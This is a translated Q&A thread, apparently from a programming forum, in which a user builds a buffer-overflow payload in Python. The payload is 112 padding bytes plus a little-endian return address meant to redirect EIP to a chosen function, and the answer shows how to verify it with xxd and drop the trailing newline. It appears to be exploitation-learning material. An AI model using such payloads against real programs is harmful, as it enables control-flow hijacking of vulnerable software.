如何用python生成缓冲区溢出的有效载荷?
问题描述:
我试图挑起一个缓冲区溢出,以便在C代码上执行一个函数。到目前为止,我已经设法找出接收EBP寄存器的字节数。接下来的唯一事情就是将EIP的地址替换为我希望执行的函数。我试图用python生成这个有效载荷。为此,我用下面的如何用python生成缓冲区溢出的有效载荷?
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
这是我得到
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
注意那些过去的人物!我知道这不是我想要得到的。我希望在EIP
寄存器上运行的地址是0804863b
。为了使漏洞正常运行,我必须将其放在little endian
上。对此有何评论?由于这个原因无法继续使用漏洞...
答
我不知道如何查看您的attack_payload文件。但是,您不应该将其转储到终端或在某个编辑器中查看它 - 因为在这种情况下,数据将被解释为字符。相反,你应该做的文件的某些hexdump都可以,例如用XXD:
$ python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
$ xxd attack_payload
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
...
00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000070: 3b86 0408 0a ;....
正如你可以在最后一行看到,字节\x3b\x86\x04\x08
实际上大多是在那里你期望这些。您可能没有想到文件末尾的换行符\x0a
(即\n
),但这就是python中的print
增加的内容。如果你不希望这个不要使用print
但:
$ python -c 'import sys; sys.stdout.write("A"*112 + "\x3b\x86\x04\x08")' > attack_payload
如果去掉'> attack_payload'是EIP成功改写你的请求的地址? – DKNUCKLES
@DKNUCKLES不确定我会怎么做,而不复制文件的内容,因为代码需要一些输入(字符串)来提供'gets'功能。 – fish202